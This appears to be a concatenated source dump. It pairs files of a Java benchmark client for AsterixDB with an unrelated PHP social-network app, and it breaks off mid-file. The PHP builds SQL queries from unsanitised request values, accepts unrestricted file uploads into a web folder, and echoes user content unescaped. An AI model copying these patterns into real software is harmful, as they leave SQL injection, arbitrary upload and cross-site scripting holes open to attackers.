* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package datatype;
import java.util.StringTokenizer;
import config.Constants;
/**
* Parses an argument from a (dumped) string
*
* @author pouria
*/
public class ArgumentParser {
public static DateTimeArgument parseDateTime(String arg) {
StringTokenizer st = new StringTokenizer(arg, Constants.ARG_DATETIME_DUMP_DELIM);
int argY = Integer.parseInt(st.nextToken());
int argMo = Integer.parseInt(st.nextToken());
int argD = Integer.parseInt(st.nextToken());
int argH = Integer.parseInt(st.nextToken());
int argMi = Integer.parseInt(st.nextToken());
int argSec = Integer.parseInt(st.nextToken());
return new DateTimeArgument(argY, argMo, argD, argH, argMi, argSec);
}
public static IntArgument parseInt(String arg) {
int val = Integer.parseInt(arg);
return new IntArgument(val);
}
public static StringArgument parseString(String arg) {
return new StringArgument(arg.substring(1, (arg.length() - 1)));
}
public static LongArgument parseLong(String arg) {
long val = Long.parseLong(arg);
return new LongArgument(val);
}
public static DoubleArgument parseDouble(String arg) {
double val = Double.parseDouble(arg);
return new DoubleArgument(val);
}
}<file_sep>/src/main/java/config/RandomQueryGeneratorConfig.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package config;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.StringTokenizer;
import queryGenerator.QueryParamSetting;
import queryGenerator.RandomQueryGenerator;
/**
* Goes through a config file and configures a RandomQueryGenerator accordingly
*
* @author pouria
*/
public class RandomQueryGeneratorConfig {
public static void configure(RandomQueryGenerator rqGen, String configFile) throws IOException {
rqGen.setQParamSetting(parseQParamSettings(configFile));
}
//Each line should have the following format
//[qid],[vid],[Int1],[Int2],...,[Intn]
private static QueryParamSetting parseQParamSettings(String inputFilePath) throws IOException {
BufferedReader in = new BufferedReader(new FileReader(inputFilePath));
QueryParamSetting qps = new QueryParamSetting();
String str;
while ((str = in.readLine()) != null) {
if (str.startsWith(Constants.COMMENT_TAG) || (str.length() == 0)) { //ignore comment lines
continue;
}
StringTokenizer st = new StringTokenizer(str, Constants.QPARAM_FILE_DELIM);
int qid = Integer.parseInt(st.nextToken());
int vid = Integer.parseInt(st.nextToken());
ArrayList<Integer> pList = new ArrayList<Integer>();
while (st.hasMoreTokens()) {
pList.add(Integer.parseInt(st.nextToken()));
}
qps.addParamSetting(qid, vid, pList);
}
in.close();
return qps;
}
}
<file_sep>/src/main/java/workloadGenerator/UpdateWorkloadGenerator.java
/*
* Copyright by The Regents of the University of California
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* you may obtain a copy of the License from
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package workloadGenerator;
import structure.AqlUpdate;
import structure.Update;
import structure.UpdateTag;
public class UpdateWorkloadGenerator extends AbstractUpdateWorkloadGenerator {
private String dvName;
private String dsName;
private String keyName; //for delete (set to null for insert)
UpdateTag upTag;
public UpdateWorkloadGenerator(String dv, String ds, String key, UpdateTag tag) {
super();
this.dvName = dv;
this.dsName = ds;
this.keyName = key;
this.upTag = tag;
}
@Override
protected void modifySingleUpdate(Update update, String line) {
((AqlUpdate) update).addUpdate(line);
}
@Override
protected Update generateNewUpdate() {
return (new AqlUpdate(dvName, dsName, keyName, upTag));
}
}
<file_sep>/scripts/qix-gen.sh
#!/bin/bash
PDIR=$1
OUTPUTFILE=$2
rm -f ${OUTPUTFILE}
echo -e "{" >> ${OUTPUTFILE}
for i in 101 102 103 104 105 106 107 108 109 1010 1011 1012 2012 1013 2013 1014 2014 1015 2015
do
QFile=${PDIR}/q${i}.aql
if [ ! -f ${QFile} ]; then
echo -e "WARNING: The query file for query $i can not be found at ${QFile} !"
fi
echo -e "\"${i}\" : \"${QFile}\"," >> ${OUTPUTFILE}
done
QFile=${PDIR}/q1016.aql
if [ ! -f ${QFile} ]; then
echo "WARNING: The query file for query $i can not be found at ${QFile} !"
fi
echo -e "\"1016\" : \"${QFile}\"" >> ${OUTPUTFILE}
echo -e "}" >> ${OUTPUTFILE}
<file_sep>/README.md
# AsterixDB BigFUN Client
[__BigFUN__](http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=7363793 "BigFUN") is a micro-benchmark to compare Big Data management systems w.r.t their features and functionality.
Here you can find the client to run BigFUN against [AsterixDB](https://asterixdb.incubator.apache.org) for both read-only and data modification (update) workloads. You can generate the data for running BigFUN using [__SocialGen__](https://github.com/pouriapirz/socialGen "SocialGen").
The DDL to prepare an AsterixDB instance for running BigFUN can be found in the ['ddl'](https://github.com/pouriapirz/bigFUN/blob/master/files/ddl/ddl.aql) directory under the 'files' directory.
The following table lists the BigFUN operations. The operation-id is used in the client configuration files to create BigFUN workloads.
The AQL templates for the queries can be found in the ['queries'](https://github.com/pouriapirz/bigFUN/tree/master/files/queries) directory under the 'files' directory.
Operation-id | Description |
--- | --- |
*101* | Unique record retrieval (PK lookup) |
*102* | Record id range scan (PK scan) |
*103* | Temporal range scan (Non-unique attribute scan) |
*104* | Existential quantification |
*105* | Universal quantification |
*106* | Global aggregation |
*107* | Grouping & aggregation |
*108* | Top-K |
*109* | Spatial selection |
*1010* | Text containment search |
*1011* | Text similarity search |
*1012* | Select equi-join |
*2012* | Select indexed equi-join |
*1013* | Select left-outer equi-join |
*2013* | Select indexed left-outer equi-join |
*1014* | Select join with grouping & aggregation |
*2014* | Select indexed join with grouping & aggregation |
*1015* | Select join with Top-K |
*2015* | Select indexed join with Top-K |
*1016* | Spatial join |
*insert* | (Batch) record addition |
*delete* | (Batch) record removal |
## Prerequisites
* A suitable *nix environment (Linux, OSX)
* JDK 1.8+
* Maven 3.1.1 or greater
## Steps
1. Check out the BigFUN project in a directory via git. Assuming that the path to the directory is $HOME/bigFUN (or any other directory based on your choice), we will refer to this directory as **BIGFUN_HOME** in the rest of this document.
2. Set BIGFUN_HOME as an environment variable on the machine you are running BigFUN from (replace the path with the directory you checked out the project into in the previous step):
```
> export BIGFUN_HOME=$HOME/bigFUN
```
3. Go to BIGFUN_HOME and build the project's artifacts by executing the following commands:
```
> cd $BIGFUN_HOME
> mvn clean package
```
Upon a successful build, a new directory named 'target' will be created under BIGFUN_HOME that contains the jar file for BigFUN with its dependencies.
4. The main configuration file for BigFUN should be created as a json file with the name 'bigfun-conf.json' under the '$BIGFUN_HOME/conf' directory. The configuration file contains the desired settings from different parameters that BigFUN needs for a successful run. There are template configuration files already available under the [conf](https://github.com/pouriapirz/bigFUN/tree/master/conf) directory for both read-only and data modification tests. You can start creating your own configuration file by modifying a template and renaming it as 'bigfun-conf.json'.
5. The query generator for read-only tests needs two other configuration files under the '$BIGFUN_HOME/files' directory:
* _query-params.txt_: This file contains the settings for various filtering predicates in different versions of the read-only queries so that the expected selectivity of each predicate can be controlled. The values should be set according to the scale of the test data, generated by [SocialGen](https://github.com/pouriapirz/socialGen "SocialGen"). Each line in 'query-params.txt' should have the following format (a '#' character at the beginning of a line marks it as a comment line):
```
<query id>,<version id>,<parameter-1>,<parameter-2>,...<parameter-k>
```
The number of parameters for a query depends on the number of filtering predicates in the query and there is 1-1 matching between them i.e. the i-th parameter corresponds to the i-th filtering predicate in the query. For a filter on a numerical attribute, the parameter normally shows the length of that filter for a specific query version (for example in q102, this value shows the primary key scan length). For temporal attributes, this value shows the length of the time interval (in ms) for the corresponding filtering predicate. For more details on filters and query versions refer to the BigFUN [paper](http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=7363793 "BigFUN").
* _workload.txt_: This file definies a specific read-only workload which is a sequence of queries that will be run, in order, by the BigFUN client in each iteration of a read-only test. Each line of the file should have the following format (a '#' character at the beginning of a line marks it as a comment line):
```
<query id>,<version id>
```
6. Once you modified and saved all the required configuration files, you can run the BigFUN benchmark by invoking the 'run-bigfun.sh' script under the '$BIGFUN_HOME/scripts' directory:
```
> $BIGFUN_HOME/scripts/run-bigfun.sh
```
As client runs, it shows messages (for tracing its progress) on the screen and once it finishes successfully, the summary report on the test's statistics can be found in file path which is set as 'stats_file' in 'bigfun-conf.json' (if 'stats_file' is not set by the user, the client writes it into its default location under the '$BIGFUN_HOME/files/output' directory).
<file_sep>/scripts/run-bigfun.sh
#!/bin/bash
if [ -z $BIGFUN_HOME ]
then
echo "ERROR: BIGFUN_HOME is not defined."
exit 1
fi
CONFIGFILE=${BIGFUN_HOME}/conf/bigfun-conf.json
if [ ! -f ${CONFIGFILE} ]; then
echo -e "ERROR: The configuration file for BigFUN (with the name bigfun-conf.json ) can not be found under ${BIGFUN_HOME}/conf directory."
exit 1
fi
QGENCONFIGFILE=${BIGFUN_HOME}/files/query-params.txt
if [ ! -f ${QGENCONFIGFILE} ]; then
echo -e "ERROR: The query generator config file (with the name query-params.txt ) can not be found under ${BIGFUN_HOME}/files directory."
exit 1
fi
WORKLOADFILE=${BIGFUN_HOME}/files/workload.txt
if [ ! -f ${WORKLOADFILE} ]; then
echo -e "ERROR: The workload file (with the name workload.txt ) can not be found under ${BIGFUN_HOME}/files directory."
exit 1
fi
QUERYINDEXFILE=${BIGFUN_HOME}/files/query-index.json
if [ ! -f ${QUERYINDEXFILE} ]; then
echo -e "Generating query-index file ..."
${BIGFUN_HOME}/scripts/qix-gen.sh ${BIGFUN_HOME}/files/queries ${QUERYINDEXFILE}
fi
mkdir -p ${BIGFUN_HOME}/files/output
java -cp ${BIGFUN_HOME}/target/bigfun-driver-jar-with-dependencies.jar driver.Driver ${BIGFUN_HOME}
| 9b5d1997f958aa4fef3600bd8c5a4d15a7a077ce | [
"Markdown",
"Java",
"Shell"
] | 12 | Java | pouriapirz/bigFUN | 2c4521e8da01e8e61ae14902c566efc4b6e53d08 | 169ea2acfe03d1ffb2710a34487c61e120189deb |
refs/heads/master | <repo_name>strahinjalalic/neews-feed<file_sep>/register.php
<?php session_start(); ?>
<?php include("includes/register_header.php"); ?>
<?php include("config/init.php"); ?>
<?php include("includes/form_handlers/handle_register.php"); ?>
<?php include("includes/form_handlers/handle_login.php"); ?>
<div class="wrapper">
<div class="login_box">
<div class="login_header">
<h1>NewSFeeD</h1>
Login or signup below!
</div>
<div class="login">
<h2 id="login_succeed"></h2>
<form action="" method="POST">
<input type="text" name="username_email_login" placeholder="Enter username or e-mail" value="<?php echo isset($username_email) ? $username_email : null?>">
<br>
<input type="<PASSWORD>" name="<PASSWORD>login" placeholder="Enter password" >
<br>
<?php echo in_array("Fill out both fields!", $login_errors) ? "Fill out both fields!<br>" : null ?>
<?php echo in_array("Username/email or password is wrong!", $login_errors) ? "Username/email or password is wrong!<br>" : null ?>
<input type="submit" value="Login" name="submit_login">
</form>
<p id='login'> <a href="#"><i>Are you new member? Register here!</i></a> </p>
</div>
<div class="register">
<form action="" method="POST" class="reg_form">
<?php echo in_array("You must specify name between 2 and 25 characters!", $errors_array) ? "You must specify name between 2 and 25 characters!<br>" : null ?>
<br>
<input type="text" name="reg_first" placeholder="Enter your name.." value="<?php echo isset($first_name) ? $first_name : null ?>" required>
<br>
<?php echo in_array("You must specify last name between 2 and 25 characters!", $errors_array) ? "You must specify last name between 2 and 25 characters!<br>" : null ?>
<input type="text" name="reg_last" placeholder="Enter your last name.." value="<?php echo isset($last_name) ? $last_name : null ?>" required>
<br>
<?php echo in_array("Username must be between 5 and 25 characters!", $errors_array) ? "Username must be between 5 and 25 characters!<br>" : null ?>
<?php echo in_array("Username already exists!", $errors_array) ? "Username already exists!<br>" : null ?>
<input type="text" name="reg_username" placeholder="Enter username.." value="<?php echo isset($username) ? $username : null ?>" required>
<br>
<?php echo in_array("Please use regular e-mail format!", $errors_array) ? "Please use regular e-mail format!<br>" : null ?>
<?php echo in_array("E-mail already exist!", $errors_array) ? "E-mail already exist!<br>" : null ?>
<input type="email" name="reg_email" placeholder="Enter email.." value="<?php echo isset($email) ? $email : null ?>" required>
<br>
<?php echo in_array("Your password must be between 2 and 25 characters!", $errors_array) ? "Your password must be between 2 and 25 characters!<br>" : null ?>
<?php echo in_array("Your password can contain only standard characters!", $errors_array) ? "Your password can contain only standard characters!<br>" : null ?>
<input type="password" name="reg_password" placeholder="Enter password.." required>
<br>
<?php echo in_array("Passwords doesn't match!", $errors_array) ? "Passwords doesn't match!<br>" : null ?>
<input type="password" name="reg_confirm" placeholder="Confirm password.." required>
<br>
<input type="submit" value="Register" name="submit">
</form>
<p id='register'> <a href="#"> <i>Already have an account? Login here!</i> </a> </p>
</div>
</div>
<?php include("includes/register_footer.php"); ?>
<file_sep>/ajax_load_messages.php
<?php
include('config/define.php');
global $database;
$limit = 7;
$message = new Message($_REQUEST['loggedIn']);
echo $message->getDropdownConversations($_REQUEST, $limit);
?><file_sep>/upload.php
<?php session_start();
if(isset($_SESSION['username'])) {
$loggedIn = $_SESSION['username'];
}
include("config/define.php");
global $database;
if(isset($_FILES['file'])) {
$image_uploaded = $_FILES['file']['name'];
$image_uploaded_tmp = $_FILES['file']['tmp_name'];
if(move_uploaded_file($image_uploaded_tmp, "assets/images/profile_pictures/{$image_uploaded}")) {
echo "assets/images/profile_pictures/{$image_uploaded}";
}
$database->query("UPDATE users SET profile_picture = 'assets/images/profile_pictures/{$image_uploaded}' WHERE username = '{$loggedIn}'");
}
?><file_sep>/settings.php
<?php
include("config/init.php");
include("includes/form_handlers/settings_handler.php");
global $database;
?>
<?php
$pull_query = $database->query("SELECT * FROM users WHERE username = '{$loggedIn}'");
$row = mysqli_fetch_array($pull_query);
$first_name = $row['first_name'];
$last_name = $row['last_name'];
$userame = $row['username'];
?>
<div class="main col">
<h4>Account Settings</h4>
<?php
echo "<img src='{$user['profile_picture']}' id='settings_pic'>";
?>
<br><br>
<p>To update your personal information, change input fields and click Update.</p>
<form action="" method="POST" class='settings_form'>
<label for="first_name">First name: </label>
<input type="text" name="first_name" value="<?php echo $first_name; ?>"><br>
<label for="last_name">Last name: </label>
<input type="text" name="last_name" value="<?php echo $last_name; ?>"><br>
<label for="email">Username: </label>
<input type="text" name="username" value="<?php echo $userame; ?>"><br>
<?php echo $message; ?>
<input type="submit" value="Update" name="update_details" class='request_received settings_update'>
</form>
<hr>
<h5>Change Password</h5>
<form action="" method="POST" class="settings_form">
<label for="old_p">Old Password</label>
<input type="password" name="old_p"><br>
<label for="new_p">New Password</label>
<input type="password" name="new_p"><br>
<label for="new_p2">New Password Again</label>
<input type="password" name="new_p2"><br>
<?php echo $message2; ?>
<input type="submit" value="Update" name="update_password" class='request_received settings_update'>
</form>
<hr>
<h5>Close Account</h5>
<form action="" method="POST">
<input type="submit" value="Close Account" name="close_account" id='close_account' class="remove_friend settings_update">
</form>
</div><file_sep>/includes/classes/Post.php
<?php
require 'vendor/autoload.php';
use Carbon\Carbon;
class Post
{
private $user_object;
public function __construct($user)
{
$this->user_object = new User($user);
}
public function submitPost($body, $user_to, $img_name)
{
global $database;
$body = $database->escape_string($body);
$delete_spaces = preg_replace('/\s+/', '', $body);
if ($delete_spaces != '') { //ako ima sadrzaja
$date_added = Carbon::now()->toDateTimeString();
$added_by = $this->user_object->getUsername();
if($user_to == $added_by) { //ako je korisnik na svom profilu
$user_to = "none";
}
$insert = $database->query("INSERT INTO posts VALUES('', '{$body}', '{$added_by}', '{$user_to}', '{$date_added}', 'no', 'no', '0', '{$img_name}')");
$last_id = mysqli_insert_id($database->db_connection());
if($user_to != 'none') {
$notification = new Notification($added_by);
$notification->insertNotification($last_id, $user_to, 'profile_post');
}
$increment_user_posts = $this->user_object->incrementUserPosts();
}
}
public function postsByFriends($data, $limit) {
global $database;
$str_posts = "";
$page = $data['page'];
if($page == 1) {
$start = 0;
} else {
$start = ($page - 1) * $limit;
}
$posts = $database->query("SELECT * FROM posts WHERE deleted = 'no' ORDER BY id DESC");
if(mysqli_num_rows($posts) > 0) {
$iterations = 0;
$count = 1;
while($row = mysqli_fetch_array($posts)) {
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$user_to = $row['user_to'];
$date_added = $row['date_added'];
$image = $row['image'];
if($user_to != "none") { //postavljanje linka za profil user-a na cijem se profilu pise post
$user_to_instance = new User($user_to);
$user_to_name = $user_to_instance->getFirstAndLastName();
$user_to = "to <a href='" . $user_to . "'>{$user_to_name}</a>";
} else {
$user_to = "";
}
$added_by_obj = new User($added_by);
if($added_by_obj->isClosed()) { //ako je profil ugasen, ne prikazuj postove
continue;
}
if($this->user_object->isFriend($added_by)) { //pozivamo funkciju ovde, radi boljeg izvrsavanja koda
if($iterations++ < $start) { //da se ne bi svi load-ovani postovi iznova ucitavali
continue;
}
if($count > $limit) { //izvlacimo 10 postova, cim predje limit iskace iz petlje
break;
} else {
$count++;
}
$post_user_info = $database->query("SELECT first_name, last_name, profile_picture FROM users WHERE username = '{$added_by}'");
$user_row = mysqli_fetch_array($post_user_info);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_img = $user_row['profile_picture'];
?>
<script>
function toggle<?php echo $id?>() {
var target = $(event.target);
if(!target.is("a")) {
var element = document.getElementById("toggleComment<?php echo $id?>");
if(element.style.display == "block") {
element.style.display = 'none';
} else {
element.style.display = 'block';
}
}
}
</script>
<?php
$num_comments_query = $database->query("SELECT * FROM comments WHERE post_id = {$id}");
$num_comments = mysqli_num_rows($num_comments_query);
$count_likes_query = $database->query("SELECT * FROM likes WHERE post_id = {$id}");
$count_likes = mysqli_num_rows($count_likes_query);
$date_added_full = Carbon::create($date_added)->diffForHumans();
if($image != "") {
$image_div = "<div class='post_img'>
<img src='{$image}'>
</div>";
} else {
$image_div = "";
}
$str_posts .= "
<div class='posts'>
<div class='profile_img_post'>
<img src='{$profile_img}' width='60'>
</div>
<div class='posted_by' style='color:#acacac'>
<a href='{$added_by}'> {$first_name} {$last_name} </a> {$user_to} <span class='date_added'>{$date_added_full}</span>
</div>
<div id='post_content'>
{$body}
<br>
{$image_div}
<br>
<br>
</div>
<div class='comm_likes'>
<span id='comment_toggle' onclick='javascript:toggle{$id}()'>Comments({$num_comments})</span>
<iframe src='like.php?post_id={$id}&username={$added_by}' scrolling='no'></iframe>
";
if($added_by == $this->user_object->getUsername()) $str_posts .= "<a class='delete_post' href='delete_post.php?post_id={$id}&added_by={$added_by}'>Delete</a>";
$str_posts .= "
</div>
</div>
<div class='post_comment' id='toggleComment{$id}' style='display:none'>
<iframe src='comments.php?post_id={$id}' id='comment_iframe' frameborder='0'></iframe>
</div>
<hr>
";
}
} if($count > $limit) {
$str_posts .= "<input type='hidden' class='nextPage' value='" . ($page + 1) . "'>
<input type='hidden' class='noPostsLeft' value='false'>";
} else {
$str_posts .= "<input type='hidden' class='noPostsLeft' value='true'><p style='text-align:centre;'>No More Posts To Show!</p>";
}
echo $str_posts;
}
}
public function profilePosts($data, $limit) {
global $database;
$str_posts = "";
$page = $data['page'];
$profile_user = $data['profileUser'];
if($page == 1) {
$start = 0;
} else {
$start = ($page - 1) * $limit;
}
$posts = $database->query("SELECT * FROM posts WHERE deleted = 'no' AND ((added_by = '{$profile_user}' AND user_to = 'none') OR user_to = '{$profile_user}') ORDER BY id DESC");
if(mysqli_num_rows($posts) > 0) {
$iterations = 0;
$count = 1;
while($row = mysqli_fetch_array($posts)) {
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$user_to = $row['user_to'];
$date_added = $row['date_added'];
if($iterations++ < $start) { //da se ne bi svi load-ovani postovi iznova ucitavali
continue;
}
if($count > $limit) { //izvlacimo 10 postova, cim predje limit iskace iz petlje
break;
} else {
$count++;
}
$post_user_info = $database->query("SELECT first_name, last_name, profile_picture FROM users WHERE username = '{$added_by}'");
$user_row = mysqli_fetch_array($post_user_info);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_img = $user_row['profile_picture'];
?>
<script>
function toggle<?php echo $id?>() {
var target = $(event.target);
if(!target.is("a")) {
var element = document.getElementById("toggleComment<?php echo $id?>");
if(element.style.display == "block") {
element.style.display = 'none';
} else {
element.style.display = 'block';
}
}
}
</script>
<?php
$num_comments_query = $database->query("SELECT * FROM comments WHERE post_id = {$id}");
$num_comments = mysqli_num_rows($num_comments_query);
$count_likes_query = $database->query("SELECT * FROM likes WHERE post_id = {$id}");
$count_likes = mysqli_num_rows($count_likes_query);
$date_added_full = Carbon::create($date_added)->diffForHumans();
$str_posts .= "
<div class='posts'>
<div class='profile_img_post'>
<img src='{$profile_img}' width='60' id='profile_img_posts'>
</div>
<div class='posted_by' style='color:#acacac'>
<a href='{$added_by}' id='added_by'> {$first_name} {$last_name} </a> <span class='date_added'>{$date_added_full}</span>
</div>
<div id='post_content'>
{$body}
<br>
<br>
<br>
</div>
<div class='comm_likes'>
<span id='comment_toggle' onclick='javascript:toggle{$id}()'>Comments({$num_comments})</span>
<iframe src='like.php?post_id={$id}&username={$added_by}' scrolling='no'></iframe>
";
if($added_by == $this->user_object->getUsername()) $str_posts .= "<a class='delete_post' href='delete_post.php?post_id={$id}&added_by={$added_by}'>Delete</a>";
$str_posts .= "
</div>
</div>
<div class='post_comment' id='toggleComment{$id}' style='display:none'>
<iframe src='comments.php?post_id={$id}' id='comment_iframe' frameborder='0'></iframe>
</div>
<hr>
";
} if($count > $limit) {
$str_posts .= "<input type='hidden' class='nextPage' value='" . ($page + 1) . "'>
<input type='hidden' class='noPostsLeft' value='false'>";
} else {
$str_posts .= "<input type='hidden' class='noPostsLeft' value='true'><p style='text-align:centre;'>No More Posts To Show!</p>";
}
echo $str_posts;
} else {
echo "There Are No Posts!";
}
}
public function showPost($id) {
global $database;
$str_posts = "";
$loggedIn = $this->user_object->getUsername();
$update_notifications = $database->query("UPDATE notifications SET opened = 'yes' WHERE user_to = '{$loggedIn}' AND link LIKE '%=$id'");
$posts = $database->query("SELECT * FROM posts WHERE deleted = 'no' AND id = {$id}");
if(mysqli_num_rows($posts) > 0) {
$row = mysqli_fetch_array($posts);
$id = $row['id'];
$body = $row['body'];
$added_by = $row['added_by'];
$user_to = $row['user_to'];
$date_added = $row['date_added'];
if($user_to != "none") {
$user_to_instance = new User($user_to);
$user_to_name = $user_to_instance->getFirstAndLastName();
$user_to = "to <a href='" . $user_to . "'>{$user_to_name}</a>";
} else {
$user_to = "";
}
$added_by_obj = new User($added_by);
if($added_by_obj->isClosed()) {
return;
}
if($this->user_object->isFriend($added_by)) {
$post_user_info = $database->query("SELECT first_name, last_name, profile_picture FROM users WHERE username = '{$added_by}'");
$user_row = mysqli_fetch_array($post_user_info);
$first_name = $user_row['first_name'];
$last_name = $user_row['last_name'];
$profile_img = $user_row['profile_picture'];
?>
<script>
function toggle<?php echo $id?>() {
var target = $(event.target);
if(!target.is("a")) {
var element = document.getElementById("toggleComment<?php echo $id?>");
if(element.style.display == "block") {
element.style.display = 'none';
} else {
element.style.display = 'block';
}
}
}
</script>
<?php
$num_comments_query = $database->query("SELECT * FROM comments WHERE post_id = {$id}");
$num_comments = mysqli_num_rows($num_comments_query);
$count_likes_query = $database->query("SELECT * FROM likes WHERE post_id = {$id}");
$count_likes = mysqli_num_rows($count_likes_query);
$date_added_full = Carbon::create($date_added)->diffForHumans();
$str_posts .= "
<div class='posts'>
<div class='profile_img_post'>
<img src='{$profile_img}' width='60'>
</div>
<div class='posted_by' style='color:#acacac'>
<a href='{$added_by}'> {$first_name} {$last_name} </a> {$user_to} <span class='date_added'>{$date_added_full}</span>
</div>
<div id='post_content'>
{$body}
<br>
<br>
<br>
</div>
<div class='comm_likes'>
<span id='comment_toggle' onclick='javascript:toggle{$id}()'>Comments({$num_comments})</span>
<iframe src='like.php?post_id={$id}&username={$added_by}' scrolling='no'></iframe>
";
if($added_by == $this->user_object->getUsername()) $str_posts .= "<a class='delete_post' href='delete_post.php?post_id={$id}&added_by={$added_by}'>Delete</a>";
$str_posts .= "
</div>
</div>
<div class='post_comment' id='toggleComment{$id}' style='display:none'>
<iframe src='comments.php?post_id={$id}' id='comment_iframe' frameborder='0'></iframe>
</div>
<hr>
";
} else {
echo "<p>You must be friend with person to see the post!</p>";
return;
}
echo $str_posts;
} else {
echo "<p>No post found!</p>";
}
}
}
<file_sep>/includes/classes/User.php
<?php
class User {
private $user;
function __construct($user)
{
global $database;
$find_user_query = $database->query("SELECT * FROM users WHERE username = '{$user}'");
$this->user = mysqli_fetch_array($find_user_query);
}
public function getFirstAndLastName() {
$full_name = $this->user['first_name'] . " " . $this->user['last_name'];
return $full_name;
}
public function getUsername() {
return $this->user['username'];
}
public function incrementUserPosts() {
global $database;
$increment_num_posts = $database->query("UPDATE users SET num_posts = num_posts + 1 WHERE username = '{$this->user['username']}'");
}
public function getFriendArray() {
return $this->user['friends_array'];
}
public function isClosed() {
global $database;
$username = $this->user['username'];
$user_closed = $database->query("SELECT * FROM users WHERE user_closed = 'yes' AND username = '{$username}'");
if(mysqli_num_rows($user_closed) == 1) {
return true;
}
return false;
}
public function isFriend($added_by) {
if((strstr($this->user['friends_array'], $added_by)) || $added_by == $this->user['username']) {
return true;
} else {
return false;
}
}
public function getProfileImage() {
return $this->user['profile_picture'];
}
public function didSentRequest($user_to) {
global $database;
$user_from = $this->user['username'];
$check_request = $database->query("SELECT * FROM friend_requests WHERE user_to = '{$user_to}' AND user_from = '{$user_from}'");
if(mysqli_num_rows($check_request) > 0) {
return true;
}
return false;
}
public function didReceiveRequest($user_from) {
global $database;
$user_to = $this->user['username'];
$check_request = $database->query("SELECT * FROM friend_requests WHERE user_to = '{$user_to}' AND user_from = '{$user_from}'");
if(mysqli_num_rows($check_request) > 0) {
return true;
}
return false;
}
public function removeFriend($friend_username) {
global $database;
$username_loggedIn = $this->user['username'];
$select_friends_array = $database->query("SELECT friends_array FROM users WHERE username = '{$username_loggedIn}'");
$row = mysqli_fetch_array($select_friends_array);
$friends_array = $row['friends_array'];
$new_friends_array = str_replace($friend_username . ",", " ", $friends_array); //izbacivanje username-a iz niza
$migrate_new_array = $database->query("UPDATE users SET friends_array = '{$new_friends_array}' WHERE username = '{$username_loggedIn}'");
$select_other_friends_array = $database->query("SELECT friends_array FROM users WHERE username = '{$friend_username}'");
$row2 = mysqli_fetch_array($select_other_friends_array);
$friends_array_other_user = $row2['friends_array'];
$new_friends_array_other_user = str_replace($username_loggedIn . ",", " ", $friends_array_other_user);
$migrate_new_array2 = $database->query("UPDATE users SET friends_array = '{$new_friends_array_other_user}' WHERE username = '{$friend_username}'");
header("Location: {$friend_username}");
}
public function addFriend($friend_username) {
global $database;
$loggedIn = $this->user['username'];
$insert_into_requests = $database->query("INSERT INTO friend_requests(user_to, user_from) VALUES('{$friend_username}', '{$loggedIn}')");
header("Location: {$friend_username}");
}
public function mutualFriends($friend_username) {
global $database;
$loggedIn_friends = $this->user['friends_array'];
$convert_to_array = explode(",", $loggedIn_friends);
$username_friends_string_query = $database->query("SELECT friends_array FROM users WHERE username='{$friend_username}'");
$row = mysqli_fetch_array($username_friends_string_query);
$username_friends_string = $row['friends_array'];
$convert_to_array2 = explode(",", $username_friends_string);
$loggedIn_count_friends = count($convert_to_array); //broj prijatelja logovanog korisnika
$username_count_friends = count($convert_to_array2); //broj prijatelja drugog korisnika
$merge_arrays = array_merge($convert_to_array, $convert_to_array2); //spajanje nizova
$pull_same = count(array_unique($merge_arrays)); //izbacivanje istih elemenata
$mutual_friends = ($loggedIn_count_friends + $username_count_friends - 1) - $pull_same; //-1 nakon debagovanja daje tacan rezultat
return $mutual_friends;
}
public function displayMutualFriends($friend_username) {
global $database;
$loggedIn_friends = $this->user['friends_array'];
$convert_to_array = explode(",",$loggedIn_friends);
$username_friends_query = $database->query("SELECT friends_array FROM users WHERE username='{$friend_username}'");
$row = mysqli_fetch_array($username_friends_query);
$username_friends = $row['friends_array'];
$convert_to_array2 = explode(",",$username_friends);
$merge = array_intersect($convert_to_array,$convert_to_array2);
return $merge;
}
public function getRequestsNumber() {
global $database;
$username = $this->user['username'];
$query = $database->query("SELECT * FROM friend_requests WHERE user_to = '{$username}'");
return mysqli_num_rows($query);
}
}
?><file_sep>/comments.php
<?php
require 'vendor/autoload.php';
use Carbon\Carbon;
session_start();
include("config/define.php");
global $database;
if(!isset($_SESSION['username']) && !isset($_SESSION['name'])) {
header("Location: register.php");
} else {
$loggedIn = $_SESSION['username'];
}
if(isset($_GET['post_id'])) {
$id = $_GET['post_id'];
}
$find_users_query = $database->query("SELECT * FROM posts WHERE id = {$id}");
$row = mysqli_fetch_array($find_users_query);
$added_by = $row['added_by'];
$user_to = $row['user_to'];
if(isset($_POST['submit_comment'])) {
$comment_content = $database->escape_string($_POST['comment_content']);
$date_added = Carbon::now();
$insert_comment = $database->query("INSERT INTO comments(comment_body, comment_by, comment_to, date_added, removed, post_id) VALUES('{$comment_content}', '{$loggedIn}', '{$added_by}', '{$date_added}', 'no', {$id})");
if($added_by != $loggedIn) { //komentarisanje posta nekom korisniku od strane logovanog
$notification = new Notification($loggedIn);
$notification->insertNotification($id, $added_by, 'comment');
}
if($user_to != 'none' && $user_to != $loggedIn) {
